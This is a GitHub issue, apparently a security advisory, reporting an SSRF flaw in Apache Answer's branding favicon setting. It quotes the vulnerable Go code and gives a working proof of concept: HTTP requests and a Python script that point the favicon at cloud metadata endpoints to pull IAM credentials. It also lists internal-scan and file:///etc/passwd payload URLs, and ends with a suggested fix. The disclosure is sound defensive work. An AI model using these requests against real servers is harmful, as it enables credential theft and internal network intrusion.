Skip to content

Apache Answer - Server-Side Request Forgery (SSRF) via Branding Settings #11

@cyl-love

Description

@cyl-love

Product

Apache Answer

Vendor

Apache Software Foundation

Vendor Website

https://answer.apache.org

GitHub Repository

https://github.com/apache/answer

Affected Version

2.0.0 (and likely earlier versions)

Vulnerability Type

Server-Side Request Forgery (CWE-918)

CVSS Score

9.8 (Critical)

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Description

A Server-Side Request Forgery (SSRF) vulnerability exists in Apache Answer's branding settings. The GetPicByUrl function in pkg/htmltext/htmltext.go makes HTTP requests to arbitrary URLs without any validation. When an administrator sets the Favicon or SquareIcon branding settings to a malicious URL, the server will make requests to internal resources when users access /favicon.ico.

Vulnerable Code

File: pkg/htmltext/htmltext.go
Lines: 192-204

func GetPicByUrl(url string) string {
    res, err := http.Get(url)  // No URL validation!
    if err != nil {
        return ""
    }
    defer func() {
        _ = res.Body.Close()
    }()
    pix, err := io.ReadAll(res.Body)
    if err != nil {
        return ""
    }
    return string(pix)
}

File: internal/router/ui.go
Lines: 114-119

if branding != nil && branding.Favicon != "" {
    c.String(http.StatusOK, htmltext.GetPicByUrl(branding.Favicon))
    return
} else if branding != nil && branding.SquareIcon != "" {
    c.String(http.StatusOK, htmltext.GetPicByUrl(branding.SquareIcon))
    return
}

Schema Validation (only checks length, not URL safety):

// internal/schema/siteinfo_schema.go:88-89
SquareIcon string `validate:"omitempty,gt=0,lte=512" form:"square_icon" json:"square_icon"`
Favicon    string `validate:"omitempty,gt=0,lte=512" form:"favicon" json:"favicon"`

Proof of Concept

Step 1: Login as Administrator

Step 2: Update Branding Settings

POST /answer/admin/api/site/branding HTTP/1.1
Host: target.com
Cookie: session=admin_session
Content-Type: application/json

{
    "favicon": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}

Step 3: Trigger SSRF

GET /favicon.ico HTTP/1.1
Host: target.com

Step 4: Read Response

The response will contain AWS IAM credentials from the metadata service.

Python PoC

#!/usr/bin/env python3
import requests

target = "http://target.com"
session = {"session": "admin_session"}

# Set malicious favicon URL (AWS metadata)
data = {"favicon": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
r = requests.post(f"{target}/answer/admin/api/site/branding", json=data, cookies=session)
print(f"Branding updated: {r.status_code}")

# Trigger SSRF
r = requests.get(f"{target}/favicon.ico")
print(f"SSRF Response:\n{r.text}")

Attack Vectors

  1. AWS Metadata Access:

    http://169.254.169.254/latest/meta-data/
    
  2. GCP Metadata Access:

    http://metadata.google.internal/computeMetadata/v1/
    
  3. Internal Port Scanning:

    http://localhost:22
    http://localhost:3306
    http://internal-server:8080
    
  4. File Read (if file:// allowed):

    file:///etc/passwd
    

Impact

  • Access to internal network services
  • Cloud metadata exposure (AWS/GCP/Azure credentials)
  • Port scanning from trusted source
  • Data exfiltration
  • Potential remote code execution if internal services are vulnerable

Remediation

  1. Validate URL scheme: Only allow http and https
  2. Block private IP ranges: Prevent requests to internal IPs
  3. Whitelist allowed domains: Only allow specific domains
  4. Use a proxy: Route requests through a secure proxy
func GetPicByUrl(urlStr string) string {
    // Parse and validate URL
    parsedURL, err := url.Parse(urlStr)
    if err != nil {
        return ""
    }
    
    // Only allow http/https
    if parsedURL.Scheme != "http" && parsedURL.Scheme != "https" {
        return ""
    }
    
    // Resolve hostname and check for private IPs
    host := parsedURL.Hostname()
    ips, err := net.LookupIP(host)
    if err != nil {
        return ""
    }
    
    for _, ip := range ips {
        if isPrivateIP(ip) {
            return ""  // Block private IPs
        }
    }
    
    // Make request with timeout
    client := &http.Client{Timeout: 5 * time.Second}
    res, err := client.Get(urlStr)
    // ...
}

func isPrivateIP(ip net.IP) bool {
    privateRanges := []string{
        "10.0.0.0/8",
        "172.16.0.0/12",
        "192.168.0.0/16",
        "127.0.0.0/8",
        "169.254.0.0/16",
        "::1/128",
        "fc00::/7",
    }
    for _, cidr := range privateRanges {
        _, network, _ := net.ParseCIDR(cidr)
        if network.Contains(ip) {
            return true
        }
    }
    return false
}

Credit

Security Researcher

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions